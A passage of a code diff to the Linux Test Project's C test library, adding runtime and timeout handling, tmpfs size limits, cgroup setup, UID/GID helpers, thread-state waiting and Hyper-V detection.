 static unsigned int tst_taint_read(void)
 {
 	unsigned int val;
@@ -74,6 +101,7 @@
 void tst_taint_init(unsigned int mask)
 {
 	unsigned int taint = -1;
+	unsigned long i;
 
 	if (mask == 0)
 		tst_brk(TBROK, "mask is not allowed to be 0");
@@ -89,8 +117,14 @@
 		taint_mask &= ~TST_TAINT_W;
 	}
 
-	if ((taint & taint_mask) != 0)
-		tst_brk(TBROK, "Kernel is already tainted: %u", taint);
+	if ((taint & taint_mask) != 0) {
+		for (i = 0; i < ARRAY_SIZE(taint_strings); i++) {
+			if (taint & (1 << i))
+				tst_res(TINFO, "tainted: %s", taint_strings[i]);
+		}
+
+		tst_brk(TBROK, "Kernel is already tainted");
+	}
 }
 
 
diff --git a/lib/tst_test.c b/lib/tst_test.c
index 55449c8..8ccde16 100644
--- a/lib/tst_test.c
+++ b/lib/tst_test.c
@@ -18,6 +18,7 @@
 #define TST_NO_DEFAULT_MAIN
 #include "tst_test.h"
 #include "tst_device.h"
+#include "lapi/abisize.h"
 #include "lapi/futex.h"
 #include "lapi/syscalls.h"
 #include "tst_ansi_color.h"
@@ -28,7 +29,7 @@
 #include "tst_wallclock.h"
 #include "tst_sys_conf.h"
 #include "tst_kconfig.h"
-
+#include "tst_private.h"
 #include "old_resource.h"
 #include "old_device.h"
 #include "old_tmpdir.h"
@@ -44,6 +45,8 @@
 #define GLIBC_GIT_URL "https://sourceware.org/git/?p=glibc.git;a=commit;h="
 #define CVE_DB_URL "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-"
 
+#define DEFAULT_TIMEOUT 30
+
 struct tst_test *tst_test;
 
 static const char *tid;
@@ -62,6 +65,7 @@
 	int warnings;
 	int broken;
 	unsigned int timeout;
+	int max_runtime;
 };
 
 static struct results *results;
@@ -71,8 +75,6 @@
 extern void *tst_futexes;
 extern unsigned int tst_max_futexes;
 
-#define IPC_ENV_VAR "LTP_IPC_PATH"
-
 static char ipc_path[1064];
 const char *tst_ipc_path = ipc_path;
 
@@ -362,6 +364,15 @@
 	va_end(va);
 }
 
+void tst_printf(const char *const fmt, ...)
+{
+	va_list va;
+
+	va_start(va, fmt);
+	vdprintf(STDERR_FILENO, fmt, va);
+	va_end(va);
+}
+
 static void check_child_status(pid_t pid, int status)
 {
 	int ret;
@@ -428,6 +439,9 @@
 	return pid;
 }
 
+/* too fast creating namespaces => retrying */
+#define TST_CHECK_ENOSPC(x) ((x) >= 0 || !(errno == ENOSPC))
+
 pid_t safe_clone(const char *file, const int lineno,
 		 const struct tst_clone_args *args)
 {
@@ -436,7 +450,7 @@
 	if (!tst_test->forks_child)
 		tst_brk(TBROK, "test.forks_child must be set!");
 
-	pid = tst_clone(args);
+	pid = TST_RETRY_FUNC(tst_clone(args), TST_CHECK_ENOSPC);
 
 	switch (pid) {
 	case -1:
@@ -453,6 +467,40 @@
 	return pid;
 }
 
+static void parse_mul(float *mul, const char *env_name, float min, float max)
+{
+	char *str_mul;
+	int ret;
+
+	if (*mul > 0)
+		return;
+
+	str_mul = getenv(env_name);
+
+	if (!str_mul) {
+		*mul = 1;
+		return;
+	}
+
+	ret = tst_parse_float(str_mul, mul, min, max);
+	if (ret) {
+		tst_brk(TBROK, "Failed to parse %s: %s",
+			env_name, tst_strerrno(ret));
+	}
+}
+
+static int multiply_runtime(int max_runtime)
+{
+	static float runtime_mul = -1;
+
+	if (max_runtime <= 0)
+		return max_runtime;
+
+	parse_mul(&runtime_mul, "LTP_RUNTIME_MUL", 0.0099, 100);
+
+	return max_runtime * runtime_mul;
+}
+
 static struct option {
 	char *optstr;
 	char *help;
@@ -466,6 +514,44 @@
 static void print_help(void)
 {
 	unsigned int i;
+	int timeout, runtime;
+
+	/* see doc/user-guide.txt, which lists also shell API variables */
+	fprintf(stderr, "Environment Variables\n");
+	fprintf(stderr, "---------------------\n");
+	fprintf(stderr, "KCONFIG_PATH         Specify kernel config file\n");
+	fprintf(stderr, "KCONFIG_SKIP_CHECK   Skip kernel config check if variable set (not set by default)\n");
+	fprintf(stderr, "LTPROOT              Prefix for installed LTP (default: /opt/ltp)\n");
+	fprintf(stderr, "LTP_COLORIZE_OUTPUT  Force colorized output behaviour (y/1 always, n/0: never)\n");
+	fprintf(stderr, "LTP_DEV              Path to the block device to be used (for .needs_device)\n");
+	fprintf(stderr, "LTP_DEV_FS_TYPE      Filesystem used for testing (default: %s)\n", DEFAULT_FS_TYPE);
+	fprintf(stderr, "LTP_SINGLE_FS_TYPE   Testing only - specifies filesystem instead all supported (for .all_filesystems)\n");
+	fprintf(stderr, "LTP_TIMEOUT_MUL      Timeout multiplier (must be a number >=1)\n");
+	fprintf(stderr, "LTP_RUNTIME_MUL      Runtime multiplier (must be a number >=1)\n");
+	fprintf(stderr, "LTP_VIRT_OVERRIDE    Overrides virtual machine detection (values: \"\"|kvm|microsoft|xen|zvm)\n");
+	fprintf(stderr, "TMPDIR               Base directory for template directory (for .needs_tmpdir, default: %s)\n", TEMPDIR);
+	fprintf(stderr, "\n");
+
+	fprintf(stderr, "Timeout and runtime\n");
+	fprintf(stderr, "-------------------\n");
+
+	if (tst_test->max_runtime) {
+		runtime = multiply_runtime(tst_test->max_runtime);
+
+		if (runtime == TST_UNLIMITED_RUNTIME) {
+			fprintf(stderr, "Test iteration runtime is not limited\n");
+		} else {
+			fprintf(stderr, "Test iteration runtime cap %ih %im %is\n",
+				runtime/3600, (runtime%3600)/60, runtime % 60);
+		}
+	}
+
+	timeout = tst_multiply_timeout(DEFAULT_TIMEOUT);
+
+	fprintf(stderr, "Test timeout (not including runtime) %ih %im %is\n",
+		timeout/3600, (timeout%3600)/60, timeout % 60);
+
+	fprintf(stderr, "\n");
 
 	fprintf(stderr, "Options\n");
 	fprintf(stderr, "-------\n");
@@ -476,8 +562,11 @@
 	if (!tst_test->options)
 		return;
 
-	for (i = 0; tst_test->options[i].optstr; i++)
-		fprintf(stderr, "%s\n", tst_test->options[i].help);
+	for (i = 0; tst_test->options[i].optstr; i++) {
+		fprintf(stderr, "-%c\t %s\n",
+			tst_test->options[i].optstr[0],
+			tst_test->options[i].help);
+	}
 }
 
 static void print_test_tags(void)
@@ -488,23 +577,23 @@
 	if (!tags)
 		return;
 
-	printf("\nTags\n");
-	printf("----\n");
+	fprintf(stderr, "\nTags\n");
+	fprintf(stderr, "----\n");
 
 	for (i = 0; tags[i].name; i++) {
 		if (!strcmp(tags[i].name, "CVE"))
-			printf(CVE_DB_URL "%s\n", tags[i].value);
+			fprintf(stderr, CVE_DB_URL "%s\n", tags[i].value);
 		else if (!strcmp(tags[i].name, "linux-git"))
-			printf(LINUX_GIT_URL "%s\n", tags[i].value);
+			fprintf(stderr, LINUX_GIT_URL "%s\n", tags[i].value);
 		else if (!strcmp(tags[i].name, "linux-stable-git"))
-			printf(LINUX_STABLE_GIT_URL "%s\n", tags[i].value);
+			fprintf(stderr, LINUX_STABLE_GIT_URL "%s\n", tags[i].value);
 		else if (!strcmp(tags[i].name, "glibc-git"))
-			printf(GLIBC_GIT_URL "%s\n", tags[i].value);
+			fprintf(stderr, GLIBC_GIT_URL "%s\n", tags[i].value);
 		else
-			printf("%s: %s\n", tags[i].name, tags[i].value);
+			fprintf(stderr, "%s: %s\n", tags[i].name, tags[i].value);
 	}
 
-	printf("\n");
+	fprintf(stderr, "\n");
 }
 
 static void check_option_collision(void)
@@ -589,9 +678,14 @@
 			exit(0);
 		case 'i':
 			iterations = atoi(optarg);
+			if (iterations < 0)
+				tst_brk(TBROK, "Number of iterations (-i) must be >= 0");
 		break;
 		case 'I':
-			duration = atof(optarg);
+			if (tst_test->max_runtime > 0)
+				tst_test->max_runtime = atoi(optarg);
+			else
+				duration = atof(optarg);
 		break;
 		case 'C':
 #ifdef UCLINUX
@@ -671,12 +765,53 @@
 	return 0;
 }
 
+int tst_parse_filesize(const char *str, long long *val, long long min, long long max)
+{
+	long long rval;
+	char *end;
+
+	if (!str)
+		return 0;
+
+	errno = 0;
+	rval = strtoll(str, &end, 0);
+
+	if (str == end || (end[0] && end[1]))
+		return EINVAL;
+
+	if (errno)
+		return errno;
+
+	switch (*end) {
+	case 'g':
+	case 'G':
+		rval *= (1024 * 1024 * 1024);
+		break;
+	case 'm':
+	case 'M':
+		rval *= (1024 * 1024);
+		break;
+	case 'k':
+	case 'K':
+		rval *= 1024;
+		break;
+	default:
+		break;
+	}
+
+	if (rval > max || rval < min)
+		return ERANGE;
+
+	*val = rval;
+	return 0;
+}
+
 static void print_colored(const char *str)
 {
 	if (tst_color_enabled(STDOUT_FILENO))
-		printf("%s%s%s", ANSI_COLOR_YELLOW, str, ANSI_COLOR_RESET);
+		fprintf(stderr, "%s%s%s", ANSI_COLOR_YELLOW, str, ANSI_COLOR_RESET);
 	else
-		printf("%s", str);
+		fprintf(stderr, "%s", str);
 }
 
 static void print_failure_hint(const char *tag, const char *hint,
@@ -694,12 +829,15 @@
 		if (!strcmp(tags[i].name, tag)) {
 			if (!hint_printed) {
 				hint_printed = 1;
-				printf("\n");
+				fprintf(stderr, "\n");
 				print_colored("HINT: ");
-				printf("You _MAY_ be %s, see:\n\n", hint);
+				fprintf(stderr, "You _MAY_ be %s:\n\n", hint);
 			}
 
-			printf("%s%s\n", url, tags[i].value);
+			if (url)
+				fprintf(stderr, "%s%s\n", url, tags[i].value);
+			else
+				fprintf(stderr, "%s\n", tags[i].value);
 		}
 	}
 }
@@ -712,6 +850,7 @@
 					   LINUX_STABLE_GIT_URL);
 	print_failure_hint("glibc-git", "missing glibc fixes", GLIBC_GIT_URL);
 	print_failure_hint("CVE", "vulnerable to CVE(s)", CVE_DB_URL);
+	print_failure_hint("known-fail", "hit by known kernel failures", NULL);
 }
 
 static void do_exit(int ret)
@@ -734,12 +873,12 @@
 		if (results->broken)
 			ret |= TBROK;
 
-		printf("\nSummary:\n");
-		printf("passed   %d\n", results->passed);
-		printf("failed   %d\n", results->failed);
-		printf("broken   %d\n", results->broken);
-		printf("skipped  %d\n", results->skipped);
-		printf("warnings %d\n", results->warnings);
+		fprintf(stderr, "\nSummary:\n");
+		fprintf(stderr, "passed   %d\n", results->passed);
+		fprintf(stderr, "failed   %d\n", results->failed);
+		fprintf(stderr, "broken   %d\n", results->broken);
+		fprintf(stderr, "skipped  %d\n", results->skipped);
+		fprintf(stderr, "warnings %d\n", results->warnings);
 	}
 
 	do_cleanup();
@@ -882,8 +1021,45 @@
 	}
 }
 
+static const char *limit_tmpfs_mount_size(const char *mnt_data,
+		char *buf, size_t buf_size, const char *fs_type)
+{
+	unsigned int tmpfs_size;
+
+	if (strcmp(fs_type, "tmpfs"))
+		return mnt_data;
+
+	if (!tst_test->dev_min_size)
+		tmpfs_size = 32;
+	else
+		tmpfs_size = tdev.size;
+
+	if ((tst_available_mem() / 1024) < (tmpfs_size * 2))
+		tst_brk(TCONF, "No enough memory for tmpfs use");
+
+	if (mnt_data)
+		snprintf(buf, buf_size, "%s,size=%uM", mnt_data, tmpfs_size);
+	else
+		snprintf(buf, buf_size, "size=%uM", tmpfs_size);
+
+	tst_res(TINFO, "Limiting tmpfs size to %uMB", tmpfs_size);
+
+	return buf;
+}
+
+static const char *get_device_name(const char *fs_type)
+{
+       if (!strcmp(fs_type, "tmpfs"))
+               return "ltp-tmpfs";
+       else
+               return tdev.dev;
+}
+
 static void prepare_device(void)
 {
+	const char *mnt_data;
+	char buf[1024];
+
 	if (tst_test->format_device) {
 		SAFE_MKFS(tdev.dev, tdev.fs_type, tst_test->dev_fs_opts,
 			  tst_test->dev_extra_opts);
@@ -896,23 +1072,41 @@
 	}
 
 	if (tst_test->mount_device) {
-		SAFE_MOUNT(tdev.dev, tst_test->mntpoint, tdev.fs_type,
-			   tst_test->mnt_flags, tst_test->mnt_data);
+		mnt_data = limit_tmpfs_mount_size(tst_test->mnt_data,
+				buf, sizeof(buf), tdev.fs_type);
+
+		SAFE_MOUNT(get_device_name(tdev.fs_type), tst_test->mntpoint,
+				tdev.fs_type, tst_test->mnt_flags, mnt_data);
 		mntpoint_mounted = 1;
 	}
 }
 
+static void do_cgroup_requires(void)
+{
+	const struct tst_cg_opts cg_opts = {
+		.needs_ver = tst_test->needs_cgroup_ver,
+	};
+	const char *const *ctrl_names = tst_test->needs_cgroup_ctrls;
+
+	for (; *ctrl_names; ctrl_names++)
+		tst_cg_require(*ctrl_names, &cg_opts);
+
+	tst_cg_init();
+}
+
 static void do_setup(int argc, char *argv[])
 {
 	if (!tst_test)
 		tst_brk(TBROK, "No tests to run");
 
+	if (tst_test->max_runtime < -1) {
+		tst_brk(TBROK, "Invalid runtime value %i",
+			results->max_runtime);
+	}
+
 	if (tst_test->tconf_msg)
 		tst_brk(TCONF, "%s", tst_test->tconf_msg);
 
-	if (tst_test->needs_kconfigs)
-		tst_kconfig_check(tst_test->needs_kconfigs);
-
 	assert_test_fn();
 
 	TCID = tid = get_tid(argv);
@@ -922,20 +1116,30 @@
 
 	parse_opts(argc, argv);
 
+	if (tst_test->needs_kconfigs && tst_kconfig_check(tst_test->needs_kconfigs))
+		tst_brk(TCONF, "Aborting due to unsuitable kernel config, see above!");
+
 	if (tst_test->needs_root && geteuid() != 0)
 		tst_brk(TCONF, "Test needs to be run as root");
 
 	if (tst_test->min_kver)
 		check_kver();
 
+	if (tst_test->supported_archs && !tst_is_on_arch(tst_test->supported_archs))
+		tst_brk(TCONF, "This arch '%s' is not supported for test!", tst_arch.name);
+
+	if (tst_test->skip_in_lockdown && tst_lockdown_enabled())
+		tst_brk(TCONF, "Kernel is locked down, skipping test");
+
+	if (tst_test->skip_in_compat && TST_ABI != tst_kernel_bits())
+		tst_brk(TCONF, "Not supported in 32-bit compat mode");
+
 	if (tst_test->needs_cmds) {
 		const char *cmd;
-		char path[PATH_MAX];
 		int i;
 
 		for (i = 0; (cmd = tst_test->needs_cmds[i]); ++i)
-			if (tst_get_path(cmd, path, sizeof(path)))
-				tst_brk(TCONF, "Couldn't find '%s' in $PATH", cmd);
+			tst_check_cmd(cmd);
 	}
 
 	if (tst_test->needs_drivers) {
@@ -959,8 +1163,11 @@
 	if (tst_test->min_cpus > (unsigned long)tst_ncpus())
 		tst_brk(TCONF, "Test needs at least %lu CPUs online", tst_test->min_cpus);
 
-	if (tst_test->request_hugepages)
-		tst_request_hugepages(tst_test->request_hugepages);
+	if (tst_test->min_mem_avail > (unsigned long)(tst_available_mem() / 1024))
+		tst_brk(TCONF, "Test needs at least %luMB MemAvailable", tst_test->min_mem_avail);
+
+	if (tst_test->hugepages.number)
+		tst_reserve_hugepages(&tst_test->hugepages);
 
 	setup_ipc();
 
@@ -971,11 +1178,12 @@
 		tst_tmpdir();
 
 	if (tst_test->save_restore) {
-		const char * const *name = tst_test->save_restore;
+		const struct tst_path_val *pvl = tst_test->save_restore;
 
-		while (*name) {
-			tst_sys_conf_save(*name);
-			name++;
+		while (pvl->path) {
+			if (!tst_sys_conf_save(pvl->path))
+				tst_sys_conf_set(pvl->path, pvl->val);
+			pvl++;
 		}
 	}
 
@@ -1015,6 +1223,8 @@
 		if (!tdev.dev)
 			tst_brk(TCONF, "Failed to acquire device");
 
+		tdev.size = tst_get_device_size(tdev.dev);
+
 		tst_device = &tdev;
 
 		if (tst_test->dev_fs_type)
@@ -1045,6 +1255,11 @@
 
 	if (tst_test->taint_check)
 		tst_taint_init(tst_test->taint_check);
+
+	if (tst_test->needs_cgroup_ctrls)
+		do_cgroup_requires();
+	else if (tst_test->needs_cgroup_ver)
+		tst_brk(TBROK, "tst_test->needs_cgroup_ctrls must be set");
 }
 
 static void do_test_setup(void)
@@ -1078,6 +1293,9 @@
 
 static void do_cleanup(void)
 {
+	if (tst_test->needs_cgroup_ctrls)
+		tst_cg_cleanup();
+
 	if (ovl_mounted)
 		SAFE_UMOUNT(OVL_MNT);
 
@@ -1101,6 +1319,24 @@
 	cleanup_ipc();
 }
 
+static void heartbeat(void)
+{
+	if (tst_clock_gettime(CLOCK_MONOTONIC, &tst_start_time))
+		tst_res(TWARN | TERRNO, "tst_clock_gettime() failed");
+
+	if (getppid() == 1) {
+		tst_res(TFAIL, "Main test process might have exit!");
+		/*
+		 * We need kill the task group immediately since the
+		 * main process has exit.
+		 */
+		kill(0, SIGKILL);
+		exit(TBROK);
+	}
+
+	kill(getppid(), SIGUSR1);
+}
+
 static void run_tests(void)
 {
 	unsigned int i;
@@ -1108,6 +1344,7 @@
 
 	if (!tst_test->test) {
 		saved_results = *results;
+		heartbeat();
 		tst_test->test_all();
 
 		if (getpid() != main_pid) {
@@ -1123,6 +1360,7 @@
 
 	for (i = 0; i < tst_test->tcnt; i++) {
 		saved_results = *results;
+		heartbeat();
 		tst_test->test(i);
 
 		if (getpid() != main_pid) {
@@ -1163,24 +1401,6 @@
 	free(new_path);
 }
 
-static void heartbeat(void)
-{
-	if (tst_clock_gettime(CLOCK_MONOTONIC, &tst_start_time))
-		tst_res(TWARN | TERRNO, "tst_clock_gettime() failed");
-
-	if (getppid() == 1) {
-		tst_res(TFAIL, "Main test process might have exit!");
-		/*
-		 * We need kill the task group immediately since the
-		 * main process has exit.
-		 */
-		kill(0, SIGKILL);
-		exit(TBROK);
-	}
-
-	kill(getppid(), SIGUSR1);
-}
-
 static void testrun(void)
 {
 	unsigned int i = 0;
@@ -1255,40 +1475,31 @@
 	}
 }
 
-unsigned int tst_timeout_remaining(void)
+unsigned int tst_remaining_runtime(void)
 {
 	static struct timespec now;
-	unsigned int elapsed;
+	int elapsed;
+
+	if (results->max_runtime == TST_UNLIMITED_RUNTIME)
+		return UINT_MAX;
+
+	if (results->max_runtime == 0)
+		tst_brk(TBROK, "Runtime not set!");
 
 	if (tst_clock_gettime(CLOCK_MONOTONIC, &now))
 		tst_res(TWARN | TERRNO, "tst_clock_gettime() failed");
 
-	elapsed = (tst_timespec_diff_ms(now, tst_start_time) + 500) / 1000;
-	if (results->timeout > elapsed)
-		return results->timeout - elapsed;
+	elapsed = tst_timespec_diff_ms(now, tst_start_time) / 1000;
+	if (results->max_runtime > elapsed)
+		return results->max_runtime - elapsed;
 
 	return 0;
 }
 
+
 unsigned int tst_multiply_timeout(unsigned int timeout)
 {
-	char *mul;
-	int ret;
-
-	if (timeout_mul == -1) {
-		mul = getenv("LTP_TIMEOUT_MUL");
-		if (mul) {
-			if ((ret = tst_parse_float(mul, &timeout_mul, 1, 10000))) {
-				tst_brk(TBROK, "Failed to parse LTP_TIMEOUT_MUL: %s",
-						tst_strerrno(ret));
-			}
-		} else {
-			timeout_mul = 1;
-		}
-	}
-	if (timeout_mul < 1)
-		tst_brk(TBROK, "LTP_TIMEOUT_MUL must to be int >= 1! (%.2f)",
-				timeout_mul);
+	parse_mul(&timeout_mul, "LTP_TIMEOUT_MUL", 0.099, 10000);
 
 	if (timeout < 1)
 		tst_brk(TBROK, "timeout must to be >= 1! (%d)", timeout);
@@ -1296,44 +1507,50 @@
 	return timeout * timeout_mul;
 }
 
-void tst_set_timeout(int timeout)
+static void set_timeout(void)
 {
-	if (timeout == -1) {
+	unsigned int timeout = DEFAULT_TIMEOUT;
+
+	if (results->max_runtime == TST_UNLIMITED_RUNTIME) {
 		tst_res(TINFO, "Timeout per run is disabled");
 		return;
 	}
 
-	if (timeout < 1)
-		tst_brk(TBROK, "timeout must to be >= 1! (%d)", timeout);
+	if (results->max_runtime < 0) {
+		tst_brk(TBROK, "max_runtime must to be >= -1! (%d)",
+			results->max_runtime);
+	}
 
-	results->timeout = tst_multiply_timeout(timeout);
+	results->timeout = tst_multiply_timeout(timeout) + results->max_runtime;
 
 	tst_res(TINFO, "Timeout per run is %uh %02um %02us",
 		results->timeout/3600, (results->timeout%3600)/60,
 		results->timeout % 60);
+}
 
-	if (getpid() == lib_pid)
-		alarm(results->timeout);
-	else
-		heartbeat();
+void tst_set_max_runtime(int max_runtime)
+{
+	results->max_runtime = multiply_runtime(max_runtime);
+	tst_res(TINFO, "Updating max runtime to %uh %02um %02us",
+		max_runtime/3600, (max_runtime%3600)/60, max_runtime % 60);
+	set_timeout();
+	heartbeat();
 }
 
 static int fork_testrun(void)
 {
 	int status;
 
-	if (tst_test->timeout)
-		tst_set_timeout(tst_test->timeout);
-	else
-		tst_set_timeout(300);
-
 	SAFE_SIGNAL(SIGINT, sigint_handler);
 
+	alarm(results->timeout);
+
 	test_pid = fork();
 	if (test_pid < 0)
 		tst_brk(TBROK | TERRNO, "fork()");
 
 	if (!test_pid) {
+		tst_disable_oom_protection(0);
 		SAFE_SIGNAL(SIGALRM, SIG_DFL);
 		SAFE_SIGNAL(SIGUSR1, SIG_DFL);
 		SAFE_SIGNAL(SIGINT, SIG_DFL);
@@ -1350,6 +1567,9 @@
 		return TFAIL;
 	}
 
+	if (tst_test->forks_child && kill(-test_pid, SIGKILL) == 0)
+		tst_res(TINFO, "Killed the leftover descendant processes");
+
 	if (WIFEXITED(status) && WEXITSTATUS(status))
 		return WEXITSTATUS(status);
 
@@ -1376,7 +1596,7 @@
 
 	for (i = 0; filesystems[i]; i++) {
 
-		tst_res(TINFO, "Testing on %s", filesystems[i]);
+		tst_res(TINFO, "=== Testing on %s ===", filesystems[i]);
 		tdev.fs_type = filesystems[i];
 
 		prepare_device();
@@ -1411,10 +1631,16 @@
 	tst_test = self;
 
 	do_setup(argc, argv);
+	tst_enable_oom_protection(lib_pid);
 
 	SAFE_SIGNAL(SIGALRM, alarm_handler);
 	SAFE_SIGNAL(SIGUSR1, heartbeat_handler);
 
+	if (tst_test->max_runtime)
+		results->max_runtime = multiply_runtime(tst_test->max_runtime);
+
+	set_timeout();
+
 	if (tst_test->test_variants)
 		test_variants = tst_test->test_variants;
 
diff --git a/lib/tst_thread_state.c b/lib/tst_thread_state.c
new file mode 100644
index 0000000..6562dfa
--- /dev/null
+++ b/lib/tst_thread_state.c
@@ -0,0 +1,38 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+#include <stdio.h>
+#include <unistd.h>
+#include <string.h>
+#include <errno.h>
+
+#include "tst_safe_file_ops.h"
+#include "tst_process_state.h"
+
+int tst_thread_state_wait(pid_t tid, const char state,
+			  unsigned int msec_timeout)
+{
+	char proc_path[128], cur_state;
+	unsigned int msecs = 0;
+
+	snprintf(proc_path, sizeof(proc_path), "/proc/self/task/%i/stat", tid);
+
+	for (;;) {
+		SAFE_FILE_SCANF(proc_path, "%*i %*s %c", &cur_state);
+
+		if (state == cur_state)
+			break;
+
+		usleep(1000);
+		msecs += 1;
+
+		if (msec_timeout && msecs >= msec_timeout) {
+			errno = ETIMEDOUT;
+			return -1;
+		}
+	}
+
+	return 0;
+}
diff --git a/lib/tst_timer_test.c b/lib/tst_timer_test.c
index 3cd52fc..ef9b24d 100644
--- a/lib/tst_timer_test.c
+++ b/lib/tst_timer_test.c
@@ -67,7 +67,7 @@
  */
 static unsigned int header_len(long long max_sample)
 {
-	unsigned int l = 1;
+	size_t l = 1;
 
 	while (max_sample/=10)
 		l++;
@@ -184,7 +184,7 @@
 static long long compute_threshold(long long requested_us,
 				   unsigned int nsamples)
 {
-	unsigned int slack_per_scall = MIN(100000, requested_us / 1000);
+	unsigned int slack_per_scall = MIN(100000LL, requested_us / 1000);
 
 	slack_per_scall = MAX(slack_per_scall, timerslack);
 
@@ -420,6 +420,9 @@
 
 static void parse_timer_opts(void)
 {
+	size_t i;
+	long long runtime_us = 0;
+
 	if (str_sleep_time) {
 		if (tst_parse_int(str_sleep_time, &sleep_time, 0, INT_MAX)) {
 			tst_brk(TBROK,
@@ -441,14 +444,17 @@
 		if (!sample_cnt)
 			sample_cnt = 500;
 
-		long long timeout = sleep_time * sample_cnt / 1000000;
-
-		tst_set_timeout(timeout + timeout/10);
+		runtime_us = sleep_time * sample_cnt;
 
 		test->test_all = single_timer_test;
 		test->test = NULL;
 		test->tcnt = 0;
+	} else {
+		for (i = 0; i < ARRAY_SIZE(tcases); i++)
+			runtime_us += tcases[i].usec * tcases[i].samples;
 	}
+
+	tst_set_max_runtime((runtime_us + runtime_us/10)/1000000);
 }
 
 struct tst_test *tst_timer_test_setup(struct tst_test *timer_test)
diff --git a/lib/tst_tmpdir.c b/lib/tst_tmpdir.c
index 0c39eb8..6e38ae9 100644
--- a/lib/tst_tmpdir.c
+++ b/lib/tst_tmpdir.c
@@ -108,12 +108,18 @@
 
 char *tst_get_tmpdir(void)
 {
+	char *ret = NULL;
+
 	if (TESTDIR == NULL) {
 		tst_brkm(TBROK, NULL, "you must call tst_tmpdir() first");
 		return NULL;
 	}
 
-	return strdup(TESTDIR);
+	ret = strdup(TESTDIR);
+	if (!ret)
+		tst_brkm(TBROK, NULL, "strdup() failed");
+
+	return ret;
 }
 
 const char *tst_get_startwd(void)
diff --git a/lib/tst_uid.c b/lib/tst_uid.c
new file mode 100644
index 0000000..af4ef8c
--- /dev/null
+++ b/lib/tst_uid.c
@@ -0,0 +1,120 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Linux Test Project
+ */
+
+#include <sys/types.h>
+#include <grp.h>
+#include <errno.h>
+
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+#include "tst_uid.h"
+
+#define MAX_GID 32767
+
+gid_t tst_get_free_gid_(const char *file, const int lineno, gid_t skip)
+{
+	gid_t ret;
+
+	errno = 0;
+
+	for (ret = 1; ret < MAX_GID; ret++) {
+		if (ret == skip || getgrgid(ret))
+			continue;
+
+		if (errno == 0 || errno == ENOENT || errno == ESRCH) {
+			tst_res_(file, lineno, TINFO | TERRNO,
+				"Found unused GID %d", (int)ret);
+			return ret;
+		}
+
+		tst_brk_(file, lineno, TBROK|TERRNO, "Group ID lookup failed");
+		return (gid_t)-1;
+	}
+
+	tst_brk_(file, lineno, TBROK, "No free group ID found");
+	return (gid_t)-1;
+}
+
+void tst_get_uids(uid_t *buf, unsigned int start, unsigned int count)
+{
+	unsigned int i, j;
+	uid_t id;
+
+	for (i = start, id = 1; i < count; id++) {
+		for (j = 0; j < start; j++) {
+			if (buf[j] == id)
+				break;
+		}
+
+		if (j >= start)
+			buf[i++] = id;
+	}
+}
+
+void tst_get_gids(gid_t *buf, unsigned int start, unsigned int count)
+{
+	unsigned int i, j;
+	gid_t id;
+
+	for (i = start, id = 1; i < count; id++) {
+		for (j = 0; j < start; j++) {
+			if (buf[j] == id)
+				break;
+		}
+
+		if (j >= start)
+			buf[i++] = id;
+	}
+}
+
+int tst_check_resuid_(const char *file, const int lineno, const char *callstr,
+	uid_t exp_ruid, uid_t exp_euid, uid_t exp_suid)
+{
+	uid_t ruid, euid, suid;
+
+	SAFE_GETRESUID(&ruid, &euid, &suid);
+
+	if (ruid == exp_ruid && euid == exp_euid && suid == exp_suid)
+		return 1;
+
+	if (callstr) {
+		tst_res_(file, lineno, TFAIL, "Unexpected process UID after %s",
+			callstr);
+	} else {
+		tst_res_(file, lineno, TFAIL, "Unexpected process UID");
+	}
+
+	tst_res_(file, lineno, TINFO, "Got: ruid = %d, euid = %d, suid = %d",
+		(int)ruid, (int)euid, (int)suid);
+	tst_res_(file, lineno, TINFO,
+		"Expected: ruid = %d, euid = %d, suid = %d",
+		(int)exp_ruid, (int)exp_euid, (int)exp_suid);
+	return 0;
+}
+
+int tst_check_resgid_(const char *file, const int lineno, const char *callstr,
+	gid_t exp_rgid, gid_t exp_egid, gid_t exp_sgid)
+{
+	gid_t rgid, egid, sgid;
+
+	SAFE_GETRESGID(&rgid, &egid, &sgid);
+
+	if (rgid == exp_rgid && egid == exp_egid && sgid == exp_sgid)
+		return 1;
+
+	if (callstr) {
+		tst_res_(file, lineno, TFAIL, "Unexpected process GID after %s",
+			callstr);
+	} else {
+		tst_res_(file, lineno, TFAIL, "Unexpected process GID");
+	}
+
+	tst_res_(file, lineno, TINFO, "Got: rgid = %d, egid = %d, sgid = %d",
+		(int)rgid, (int)egid, (int)sgid);
+	tst_res_(file, lineno, TINFO,
+		"Expected: rgid = %d, egid = %d, sgid = %d",
+		(int)exp_rgid, (int)exp_egid, (int)exp_sgid);
+	return 0;
+}
diff --git a/lib/tst_virt.c b/lib/tst_virt.c
index 21e8f73..680000f 100644
--- a/lib/tst_virt.c
+++ b/lib/tst_virt.c
@@ -116,8 +116,18 @@
 static int try_systemd_detect_virt(void)
 {
 	FILE *f;
-	char virt_type[64];
+	char virt_buf[64];
 	int ret;
+	char *virt_type = getenv("LTP_VIRT_OVERRIDE");
+
+	if (virt_type) {
+		if (!strcmp("", virt_type))
+			return 0;
+
+		goto cmp;
+	}
+
+	virt_type = virt_buf;
 
 	/* See tst_cmd.c */
 	void *old_handler = signal(SIGCHLD, SIG_DFL);
@@ -145,6 +155,7 @@
 	if (ret)
 		return 0;
 
+cmp:
 	if (!strncmp("kvm", virt_type, 3))
 		return VIRT_KVM;
 
@@ -154,6 +165,9 @@
 	if (!strncmp("zvm", virt_type, 3))
 		return VIRT_IBMZ_ZVM;
 
+	if (!strncmp("microsoft", virt_type, 9))
+		return VIRT_HYPERV;
+
 	return VIRT_OTHER;
 }
 
@@ -179,6 +193,7 @@
 	case VIRT_IBMZ_LPAR:
 	case VIRT_IBMZ_ZVM:
 		return is_ibmz(virt_type);
+	case VIRT_HYPERV:
 	case VIRT_OTHER:
 		return 0;
 	}
diff --git a/lib/tst_wallclock.c b/lib/tst_wallclock.c
index 838dde8..ee53e2b 100644
--- a/lib/tst_wallclock.c
+++ b/lib/tst_wallclock.c
@@ -42,7 +42,9 @@
 
 void tst_wallclock_restore(void)
 {
+	static const char *localtime = "/etc/localtime";
 	static struct timespec mono_end, elapsed, adjust;
+	int ret;
 
 	if (!clock_saved)
 		return;
@@ -60,6 +62,19 @@
 
